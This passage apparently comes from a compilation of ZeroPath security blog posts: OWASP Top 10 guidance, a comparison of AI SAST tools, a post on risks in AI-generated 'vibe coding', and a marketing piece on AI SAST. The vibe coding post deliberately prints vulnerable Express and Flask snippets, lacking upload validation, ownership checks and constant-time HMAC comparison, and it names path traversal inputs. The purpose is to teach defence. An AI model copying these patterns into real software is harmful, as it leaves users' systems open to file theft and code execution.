components from official sources via secure links - Monitor vulnerability databases for issues in your components - Remove unused dependencies, features, and documentation - Establish a patch management process with clear SLAs ### A07: Identification and Authentication Failures **Issue**: Weaknesses in how applications verify user identity and maintain authentication state. **Specific vulnerabilities**: - Credential stuffing vulnerabilities - Brute force susceptibility - Weak password storage - Missing or ineffective multi-factor authentication - Session fixation flaws **Prevention strategies**: - Implement multi-factor authentication - Avoid default credentials, especially for admin users - Check passwords against known breached databases - Limit or delay failed login attempts - Use a server-side session manager that generates random IDs ### A08: Software and Data Integrity Failures **New in 2021**: Reflects growing concerns about supply chain attacks. **Issue**: Code and infrastructure that don't verify the integrity of updates, critical data, or CI/CD pipelines. **Impact**: The SolarWinds attack demonstrated how compromised software updates could lead to widespread breaches. **Prevention strategies**: - Use digital signatures to verify software integrity - Verify libraries and dependencies come from trusted repositories - Implement review processes for code and configuration changes - Use immutable infrastructure for deployments - Ensure CI/CD pipelines include security controls ### A09: Security Logging and Monitoring Failures **Issue**: Insufficient logging of security events and inadequate monitoring of systems. **Impact**: Breaches remain undetected for an average of 200+ days, giving attackers ample time to exfiltrate data or install backdoors. **Prevention strategies**: - Ensure logs include context needed for suspicious activity identification - Encode logs correctly to prevent injection or attacks on log viewers - Implement centralized log management with correlation capabilities - Create and test incident response plans - Establish automated alerting systems for suspicious activities ### A10: Server-Side Request Forgery (SSRF) **New in 2021**: Added based on industry survey data showing its growing importance. **Issue**: The application fetches remote resources without validating user-supplied URLs. **Impact**: The 2019 Capital One breach exploited SSRF to access AWS metadata services, compromising over 100 million customer records. **Prevention strategies**: - Implement network-layer firewall rules - Force all requests through a centralized URL parser/validator - Require proper authentication for all services - Block access to internal networks (127.0.0.1, localhost, etc.) - Use URL allowlists rather than denylists where possible ## OWASP Top 10 and Other Security Standards The OWASP Top 10 holds a unique position in the security standards ecosystem. While frameworks like NIST and ISO provide comprehensive security guidance, the OWASP Top 10 offers specialized, actionable insights specifically for web application security. The relationship is symbiotic rather than competitive: - **NIST frameworks** cover enterprise-wide security controls, with OWASP providing detailed guidance on application-specific implementations - **CIS Controls** establish broad security practices, with OWASP deepening the technical guidance for web applications - **ISO 27001** creates management system requirements, with OWASP informing the technical controls ## OWASP Top 10 2025 The OWASP Top 10 2025 will likely reflect the shifting security landscape. After multiple pentest reports and industry talks, [we have a compiled a list of expected changes between OWASP 2021 and 2025.](https://zeropath.com/blog/owasp-2021-vs-2025) Based on current trends, we can expect: - Greater emphasis on API security as applications increasingly rely on microservices - Expanded focus on cloud-native security risks and infrastructure-as-code vulnerabilities - Deeper integration with DevSecOps practices and tooling - Recognition of AI/ML-specific security concerns. OWASP has already released the OWASP Top 10 for Large Language Models, showing their commitment to addressing emerging technologies. [We also have a detailed guide on how to use LLMs securely for coding.](https://zeropath.com/blog/vibe-coding-and-security) ## Conclusion The OWASP Top 10 directs attention to the most critical vulnerabilities those that repeatedly lead to real-world compromises. In doing so, it transforms application security from an overwhelming challenge into a manageable set of priorities. Although not perfect, its community-driven, practical approach ensures it stays relevant, helping security professionals manage evolving risks in application security. There are various ways to avoid introducing these vulnerabilities into production, and Static Application Security Testing (SAST) is still the most reliable method. But "grep-for-SQL-injection" scanners tend to miss out on broken business logic, authorization edge cases, multi-step exploit chains, and more. ZeroPath understands your codebase, builds a control and data-flow graph, and lets LLM agents reason over it. [Here's a detailed breakdown of how ZeroPath works behind the scenes.](https://zeropath.com/blog/how-zeropath-works) If you are looking for SAST tools, we also have a [list of AI-powered SAST tools which we believe perform the best.](https://zeropath.com/blog/top-ai-sast-tools) --- #### Top AI SAST tools in 2025 - **Date**: May 5, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: AI SAST, AI SAST tools, AI SAST tools in 2025, Top AI SAST tools, Best AI SAST tools, AI SAST tools comparison, AI SAST tools review, AI SAST tools pros and cons - **URL**: https://zeropath.com/blog/top-ai-sast-tools We tested all the top AI SAST tools in the market and compiled a list with pros and cons for each tool. Hopedully this will help you make an informed decision on which AI SAST tool fits your needs. --- # Top AI SAST tools in 2025 A lot of static analysis has already been shaped or is currently under change, thanks to the latest models. What used to be noisy vulnerability scanners are now smarter tools that prioritize, explain, and patch issues for you. But not all "AI-powered" SAST tools are created equal. Some add the contextual power of AI on top of old rule engines. Others rethink how code and risk should be analyzed from the ground up. Here's a breakdown of the most talked-about tools in 2025: what they do well, where they fall short, and how they fit into a security workflow. ## ZeroPath While other SAST tools are built on legacy engines that functions on rule-based checks. ZeroPath takes a different approach outlined in our How it Works. The team has rebuilt a SAST engine from the ground up around LLMs and traditional static analysis to reason about how the application behaves, what’s reachable, and where real risks lie. ![ZeroPath SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/zeropath.png "SAST Dashboard Screenshot") **Where it works well:** - Uses architectural context and application logic to flag vulnerabilities (even business logic bugs) - Finds vulns traditionally out of scope for SAST - Supports natural language custom rules - Catches traditional vulns at lowest false positive rates in the industry - Feels more like a security assistant than a scanner - Patches vulns automatically **Where it struggles:** - Takes a bit of a mindset shift if you're used to rule-heavy SAST workflows - PR scans are fast, but the first full scan is long on large repos - Some of the more advanced features are only in enterprise tiers ## Snyk Code Snyk initially started in the SCA space but has built a strong SAST offering. It plugs into your IDE or GitHub workflow and flags vulnerabilities as you type (pretty cool). ![Snyk SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/snyk.jpg "SAST Dashboard Screenshot") **Where it works well:** - Provides real-time feedback in editors like VS Code and JetBrains IDEs - AI-powered suggestions make remediation easy for common issues - Support for popular web stack languages like JavaScript, Python, Java, and Go - Simple setup and integration make it easy for small dev teams **Where it struggles:** - Doesn’t go very deep. Multi-file dataflow issues can slip - Doesn't support custom rules or deeper security customization - Costs add up fast with larger teams - Can misfire with safe code depending on context ## Checkmarx Checkmarx is a heavyweight in the AppSec world, used by large organizations with complex stacks. The platform goes beyond SAST, covering cloud and software supply chain security, but SAST is still its core. ![Checkmarx SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/checkmarx.webp "SAST Dashboard Screenshot") **Where it works well:** - Supports over 35 languages and 80 frameworks, including legacy systems - Allows for custom rule writing through its query builder - Integrates well with DAST tools for more complete coverage **Where it struggles:** - Limited support for mobile platforms and some gaps in Swift, C, and C++ - Initial setup is heavy and requires infrastructure planning - DevOps integration isn’t always smooth, especially in fast-moving teams - The interface is hard to navigate, especially for devs trying to triage results ## Veracode Veracode offers cloud-based static analysis and is often chosen by companies focused on governance and compliance. It's designed more for security teams than developers. ![Veracode SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/veracode.png "SAST Dashboard Screenshot") **Where it works well:** - Excels at scanning enterprise-scale applications with broad language support - AI-powered remediation suggestions help reduce triage time - Well-suited for centralized security teams running security gates in CI/CD **Where it struggles:** - Takes longer to learn and operate than more developer-friendly tools - Full scans are slower than most cloud-native competitors - False positives are common and require manual cleanup - Pricing is too high for startups or smaller engineering teams ## Semgrep Semgrep is built for speed and customization. It’s rule-based, open-source, and designed to let you write your own checks without needing to understand abstract syntax trees. They have started integrating AI to help with rule generation and triage. ![Semgrep SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/semgrep.png "SAST Dashboard Screenshot") **Where it works well:** - Scans are fast. Good for every PR, every push - Custom rules can be created in minutes using familiar syntax - Strong community with thousands of shared rules and active support **Where it struggles:** - Doesn’t track data across multiple files or functions unless manually encoded - Out-of-the-box rules can be noisy or miss context-sensitive issues - Requires security engineering effort to maintain and scale effectively - Fix guidance is minimal. You often get a warning and you have to figure out the rest ## Final Thoughts Each of these tools serves a different kind of organization. Snyk is well-suited for engineering teams that prioritize speed and tight integration with developer workflows. Checkmarx and Veracode offer the depth and controls expected in large, regulated environments. Semgrep gives security engineers flexibility, but it requires more hands-on rule management. ZeroPath is built for security teams that want clarity and actionability, especially with reduced noise. We focus on showing which vulnerabilities actually matter in the context of how your application works, where they can be reached, and how they’re best resolved. It reduces triage overhead, shortens remediation cycles, and improves how security and engineering teams work together. We understand if there are too many comparisons going on in your head right now. Therefore, to make the decision-making easier, we wrote these blogs: - [We found vulns that synk, semgrep missed in repos with 15k+ stars](https://zeropath.com/blog/0day-discoveries) - [How ZeroPath helps you maintain security in Vibe coding](https://zeropath.com/blog/vibe-coding-and-security) --- #### Security in Vibe Coding: The most common vulnerabilities and how to avoid them - **Date**: April 19, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 8 minutes - **Keywords**: Vibe Coding, Vibe Coding & Security, Vulnerabilities in AI Generated Code, Ways to maintain security in Vibe Coding - **URL**: https://zeropath.com/blog/vibe-coding-and-security Diving into the security implications of Vibe coding. We explore common vulnerabilities with examples and best practices to avoid them. --- Generative coding is exceptionally fast and efficient. With a simple prompt requesting an endpoint, you can have routes, business logic, and database queries wired together in seconds. The code runs, tests pass, and CI is green. When errors do occur, they're quickly fixed by highlighting the terminal error, letting the model interpret it, and implementing the fix—often before you've had time to analyze the issue yourself. This speed comes with security risks. AI-generated code can introduce production-grade vulnerabilities that bypass traditional SAST tools, survive CI/CD pipelines, and reach production. These include remote code execution vulnerabilities, authentication bypasses, and logic flaws—all in code that appears functional and correct at first glance. ## What Is Vibe Coding The term "vibe coding" originated from a tweet by Andrej Karpathy and has since gained significant popularity, even being recognized by Merriam-Webster as trending slang. ![alt text](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/image%20(3).png) Vibe coding extends beyond merely using AI for development—it involves relying on it as the primary development mechanism. Developers prompt an LLM, accept the output wholesale, and proceed without validation or threat modeling. This approach has become standard practice when developing with tools like Copilot, Cursor, and internal chat-based development agents. While it accelerates iteration, it often produces functionally working code that contains structural security flaws. ## What Makes Vibe Coding Risky ### Pattern Completion Over Intent LLMs function by predicting the next most probable token rather than applying security engineering principles. They prioritize fulfilling functional requirements over security considerations. Consider this prompt: `Build me a file upload server using Express and Multer` ```js // imports const storage = multer.diskStorage({ destination: (req, file, cb) => { const uploadDir = 'uploads'; if (!fs.existsSync(uploadDir)) { fs.mkdirSync(uploadDir); } cb(null, uploadDir); }, filename: (req, file, cb) => { const uniqueName = Date.now() + '-' + file.originalname; cb(null, uniqueName); } }); const upload = multer({ storage }); app.post('/upload', upload.single('file'), (req, res) => { if (!req.file) return res.status(400).send('No file uploaded.'); res.send(`File uploaded: ${req.file.filename}`); }); app.listen(PORT, () => { console.log(`Server running on http://localhost:${PORT}`); }); ``` The code works as requested—it handles uploads and provides frontend progress indication. But critical security measures are absent because they weren't explicitly required: * No file type validation. You can upload .php, .exe, .jsp, or anything else. If this server sits behind NGINX or Apache with misconfigurations, you now have an RCE. * No filename sanitization. ```file.originalname``` is user-controlled input. A user can send ```../../../etc/passwd``` or ```../evil.js```, and if you lack sandboxing, you're now facing path traversal. The code satisfies functional requirements but fails to implement security best practices, creating vulnerabilities that basic testing won't catch. ### No Awareness of System Boundaries LLMs generate code at the function level without considering system-level architectural constraints like session state, service interactions, or permission enforcement. This lack of architectural thinking leads to broken access controls, missing state checks, and logic flaws that only become apparent in broader contexts. For example, requesting a document download API: ``` build an API to allow users to download documents they’ve uploaded. ``` ```js // ... upload logic ... // Download route app.get('/download/:filename', (req, res) => { const filePath = path.join(__dirname, 'uploads', req.params.filename); if (fs.existsSync(filePath)) { res.download(filePath); } else { res.status(404).json({ error: 'File not found' }); } }); ``` The code functions correctly but contains significant security gaps: * No user context or authentication middleware to associate files with specific users * No ownership verification allows anyone who knows or guesses a filename to download arbitrary files * No access model to restrict file access based on permissions These aren't merely bugs but fundamental design oversights. The model delivers functional code without addressing essential security boundaries. ### **Training on Insecure Patterns**: LLMs primarily learn correlation patterns from massive datasets containing GitHub repositories, tutorials, and StackOverflow threads—sources that often contain more insecure examples than secure ones. Let's say you prompt: ```Write a Flask middleware to verify an HMAC signature header on incoming requests``` ```py import hmac import hashlib from flask import request, abort SECRET = b'supersecretkey' def verify_signature(): signature = request.headers.get("X-Signature") body = request.get_data() expected = hmac.new(SECRET, body, hashlib.sha256).hexdigest() if signature != expected: abort(401) ``` At first glance, the code appears correct. It validates signatures similar to webhook validators or API gateways. However, a subtle vulnerability exists: * The code uses `==` for HMAC comparison instead of a constant-time comparison, creating vulnerability to timing-based side-channel attacks. This vulnerability likely won't appear in tests or reviews, but could enable gradual brute-forcing of signatures by observing response times. ## How to maintain security in vibe coding While "review all AI-generated code" or "label AI-generated code in your codebase" are sound recommendations, they may not be practical given the productivity benefits of these tools. Here are more realistic strategies: ### Integrate code scanning tools or SAST: SAST refers to Static Application Security Testing. These tools analyze your source code, bytecode, or binaries for vulnerabilities without actually executing the program. Think of them as a security-focused linter. They flag issues like SQL injection, command injection, and insecure function usage directly from your codebase. ​ Traditionally, while SAST has been really helpful in maintaining security, we at ZeroPath have redesigned the technology to leverage LLMs. This architectural change has reduced the number of false positives and has helped us detect business logic issues in some large open-source repos. - **Development Stage**: Use code scanning tools that integrate with your AI workflow (inside cursor, windsurf, etc) to catch vulns. You can run your scans on ZeroPath and interact with them by hooking your IDE to [ZeroPath's MCP servers](https://zeropath.com/blog/chat-with-your-appsec-scans). - **Production Stage**: Integrate SAST into CI/CD pipelines to prevent vulnerabilities from reaching deployment, with tools like ZeroPath that can automatically create pull requests with patches that you can review and merge. The goal here is to have independent tools verify your code before the end user uses it. If the pipeline has linting and security tests, they should flag things like “input not sanitized” or “insecure HTTP connection”. ### Security based prompt engineering: Enhance AI outputs by explicitly incorporating security requirements in your prompts. This means explicitly prompting the AI agent to prioritize security in its output. Rather than requesting "write a file upload function," specify "write a secure file upload function that checks file type and size and prevents path traversal." For IDE tools like Cursor that support rule systems, create security-focused rule files. These are ```.mdc``` files in ```.cursor/rules```: ```md --- description: Enforce security in code generation globs: "**/*" alwaysApply: true --- - Validate all user inputs to prevent injection attacks. - Sanitize and encode outputs to mitigate XSS vulnerabilities. - Implement proper authentication and authorization checks. - Use HTTPS for all external communications. - Avoid hardcoding secrets or credentials in the codebase. ``` More about the rules file [here](https://docs.cursor.com/context/rules#domain-specific-guidance). ### 2-Stage AI Prompting: Implement a simple but effective approach: prompt the AI twice—first to implement the feature, then to review and improve its own output for security issues. After receiving the initial solution, follow up with: "Now review this code for any security vulnerabilities or mistakes and fix them." This second-pass review often catches obvious security issues, functioning like an integrated static analysis. ## Conclusion Vibe coding is cool. It reduces barriers for developers and increases development accessibility. However, its security limitations require vigilance—whether through code review, specialized security tools, or supplementary manual coding. The security landscape is evolving to integrate with AI code generation, but until that integration matures, developers must implement additional measures to ensure AI-generated code meets security standards. --- #### Is AI SAST a meme? - **Date**: April 8, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: AI SAST, ZeroPath, Application Security, Security Testing, Developer Tools - **URL**: https://zeropath.com/blog/is-ai-sast-a-meme An honest breakdown of the benefits and downsides of AI-powered security testing. We explore ZeroPath's approach to contextual understanding, natural language rules, and automated remediation while acknowledging the limitations. --- ![Distracted boyfriend meme with developer looking at ZeroPath finding a bug while ignoring manual code review](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/ai-sast-distracted_gf.png) The security industry loves its buzzwords, and "AI-powered SAST" might seem like the latest marketing gimmick. But behind this terminology lies a fundamental shift in how we approach code security. At ZeroPath, we've been tackling a problem that has plagued static analysis for decades: false positives that waste developer time and erode trust in security tools. Like any technology, our approach has both strengths and limitations, which we'll explore throughout this post. No tool is perfect, and being transparent about where AI SAST excels and where it struggles is crucial for teams to make informed decisions. ## What is AI-powered SAST, really? Traditional Static Application Security Testing (SAST) tools scan source code for patterns that match known vulnerability signatures. They're essentially sophisticated pattern matchers—effective for finding textbook issues but notoriously bad at understanding context. AI-powered SAST fundamentally changes this approach. Instead of just pattern matching, it builds an Abstract Syntax Tree (AST) of your code and analyzes it with language models. It tracks data flows through your application, maps component interactions, and examines security control implementations. This structural analysis helps reason about security in ways that traditional SAST cannot. We discuss these advancements in detail in our recent blog post on [AI Model Progress](https://zeropath.com/blog/on-recent-ai-model-progress). For monorepos or complex repositories, the system identifies distinct applications and their relationships, gathering information about each app's purpose, tech stack, authentication mechanisms, and architecture. This application-level awareness provides context for security findings. ## The False Positive Problem Traditional SAST tools operate primarily through pattern matching and predefined rules. While effective at finding textbook vulnerabilities, they struggle with contextual understanding, leading to an overwhelming number of false positives. Let's examine the types of false alarms that have made developers rightfully skeptical of SAST results. ## Common False Positives ZeroPath Eliminates ### Sanitized Input Misidentification Traditional SAST tools often flag inputs as dangerous even when they've been properly sanitized elsewhere in the codebase. ZeroPath's contextual understanding tracks data flow comprehensively, recognizing when potentially dangerous inputs have been properly validated or sanitized before use. For example, when analyzing a Python web application, ZeroPath won't flag sanitized database queries as SQL injection risks if it can verify that proper ORM methods or parameterized queries are used, even if the sanitization happens several function calls away from the final execution. ### Framework-Aware Analysis Many frameworks provide built-in security protections that traditional SAST tools miss. ZeroPath understands modern frameworks' security models and won't flood you with alerts for "vulnerabilities" that are actually protected by framework safeguards. When scanning a React application using properly implemented JSX, ZeroPath knows that XSS vulnerabilities are mitigated by React's automatic output encoding, while traditional tools might flag every dynamic content insertion as a potential XSS vector. ### Test Code Differentiation Many SAST tools generate alerts for intentionally vulnerable code in test files. ZeroPath intelligently separates test code from production code, understanding that mock vulnerabilities in tests don't represent actual security risks. ### Dead Code Elimination Traditional SAST tools frequently flag vulnerabilities in code that isn't actually accessible in the running application. ZeroPath maps the actual entry points and execution paths of your application, identifying which code can actually be reached from external sources. This prevents alerts on technically vulnerable but practically unexploitable code that's never executed in production environments. ## The Real Challenges Every security tool has strengths and limitations. Here are some challenges we're actively working to address: ### Business Logic False Positives Despite our contextual analysis, detecting business logic vulnerabilities remains challenging. ZeroPath can still produce false positives when analyzing complex authorization schemes or multi-step business processes, particularly when business rules are implemented across multiple services or repositories. For example, a potential Insecure Direct Object Reference (IDOR) might be flagged even though authorization is properly handled through a separate microservice that ZeroPath doesn't have visibility into during single-repository scans. ### Scan Performance on Large Codebases While pull request scans are optimized for speed, initial full-repository scans on large codebases can be time-consuming. The depth of analysis required for contextual understanding comes with computational cost. Repositories exceeding several hundred thousand lines of code might experience longer initial scan times compared to traditional SAST tools. ### Middleware Detection Challenges One of our more frustrating limitations involves middleware detection. Depending on framework configurations, ZeroPath sometimes struggles to correctly identify security controls implemented in middleware layers. This can lead to false positives where the tool flags issues that are actually being mitigated by middleware components. For example, in Express.js applications with custom authentication middleware, ZeroPath might flag endpoints as lacking proper authentication if the middleware is applied through non-standard patterns or dynamic route configuration. Fortunately, our context feature allows you to provide additional information about your middleware implementation to prevent these false positives, but this requires manual input. ### Third-Party Dependency Limitations ZeroPath generates an Abstract Syntax Tree (AST) for your application code, but a significant limitation is our handling of third-party dependencies. We don't analyze the internal code of dependencies, which can cause blind spots in security analysis. This becomes particularly problematic with frameworks that use callbacks, hooks, or dynamic function invocation patterns. For example, if your application uses a framework that implements security controls through dynamically registered handlers or middleware, ZeroPath might not correctly trace these execution paths, potentially leading to false positives or missed vulnerabilities. While our dependency scanning identifies known vulnerable packages, the deeper interaction between your code and third-party libraries may not be fully captured in our analysis model. ### Multi-Repository Architecture Challenges Complex applications spanning multiple repositories can present challenges for comprehensive security analysis. ZeroPath works best when it can trace execution flows fully, which can be limited when analyzing single repositories in isolation. ## Addressing Business Logic and Context When the system flags potential issues that turn out to be false positives in your specific environment, you can provide additional context through natural language input. This helps refine the analysis for your particular codebase. For example, if you've implemented custom authorization logic that isn't automatically recognized, explaining this implementation helps the system incorporate this context in subsequent scans. ``` Developer: Is this IDOR vulnerability exploitable if we've implemented role-based access control at the API gateway level? ZeroPath: Based on your code, I can see that the API gateway implements role checks, but the vulnerability exists because the user ID parameter in the /api/documents/:id endpoint is only validated for format, not ownership. An attacker with a valid session could still access another user's documents by changing the ID parameter, bypassing the role checks. ``` ## How We Approach Findings When potential vulnerabilities are detected, the system allows for interactive analysis. Developers can query the findings with specific questions: 1. "Show me the execution path for this vulnerability" 2. "Generate a curl command that would trigger this issue" 3. "How would you modify this patch to use our validation library?" This direct interaction with findings helps reduce time spent on investigation and remediation planning. ## Technical Implementation Details At a technical level, we've focused on analyzing codebases as complete systems rather than isolated snippets. This approach has practical implications for security analysis: First, we build a comprehensive source inventory that catalogs all entry points in your application - HTTP endpoints, WebSockets, and similar interfaces. This mapping helps identify which parts of the codebase are actually exposed to potential attackers. We've also implemented natural language processing for security policy definition. You can define rules in plain English instead of specialized syntax, which simplifies the creation and maintenance of security standards. For vulnerability prioritization, we use standard CVSS scoring to ensure consistent risk assessment. This helps development teams focus on fixing the most critical issues first based on objective criteria. ## The Bottom Line Is AI SAST a meme? In some ways, the term has become overused in marketing materials across the industry. However, there are genuine technical advancements in how static analysis can be performed. Tools like ZeroPath can reduce false positives and identify complex vulnerabilities that traditional pattern-matching would miss. The ability to understand code in context helps filter out many of the false alarms that have made previous generations of SAST tools frustrating to use. That said, no tool solves all problems. There are still challenges with complex business logic, third-party dependencies, and multi-repository architectures. Like any security technology, these tools work best as part of a broader strategy that includes different testing methodologies and human expertise. The practical value isn't in buzzwords but in concrete capabilities: interactive finding analysis, contextual code understanding, and meaningful prioritization of legitimate issues. These improvements help security and development teams work more efficiently, even if they don't represent the revolutionary change that some marketing might suggest. If this is something you are interested in, we have a blog where we show you [how to do Security Research with ZeroPath.](https://zeropath.com/blog/security-research-with-zeropath) --- ## Company Information ### About ZeroPath - **Mission**: Security that doesn't slow you down - **Focus**: AI-powered application security - **Website**: https://zeropath.com ## Resources & Support ### Documentation - **API Reference**: https://zeropath.com/docs - **Getting Started Guide**: https://zeropath.com/docs ### Community & Events - **Open Source**: https://github.com/ZeroPathAI - **Blog**: Regular updates and security insights ### Support Channels - **Email**: support@zeropath.com ## Legal & Compliance ### Data Security - **Encryption**: AES-256 at rest, TLS 1.3 in transit - **Architecture**: Zero-trust, scan-and-forget design - **Certifications**: SOC 2 Type II, ISO 27001 (pending) - **Penetration Testing**: Quarterly by independent firms ### Privacy & Terms - **Privacy Policy**: https://zeropath.com/privacy - **Terms of Service**: https://zeropath.com/terms - **Data Processing Agreement**: Available for enterprise - **Security Whitepaper**: Available upon request ## Contact Information ### Sales & Partnerships - **Schedule Demo**: /demo - **Sales Email**: sales@zeropath.com - **Partner Program**: partners@zeropath.com ### Media & Press - **Media Contact**: press@zeropath.com ### Social Media - **LinkedIn**: https://www.linkedin.com/company/zeropathai - **X (Twitter)**: https://x.com/zeropathai - **X (ZeroPath Labs)**: https://x.com/ZeroPathLabs - **YouTube**: https://www.youtube.com/@ZeroPathAI - **GitHub**: https://github.com/ZeroPathAI --- ## Summary ZeroPath represents the future of application security - where AI and human expertise combine to protect code without slowing down development. With our comprehensive platform, enterprises can achieve both speed and security, developers can focus on building rather than fixing false positives, and security teams can finally stay ahead of threats. **Ready to transform your application security?** - 🚀 Get Started: https://zeropath.com/app - 📅 Schedule Demo: /demo - 📧 Contact Sales: sales@zeropath.com --- *Last Updated: 2026-05-12T06:40:31.132Z* *Generated with ZeroPath llms.txt - Optimized for AI Understanding* **ZeroPath: Security that thinks, so you don't have to.**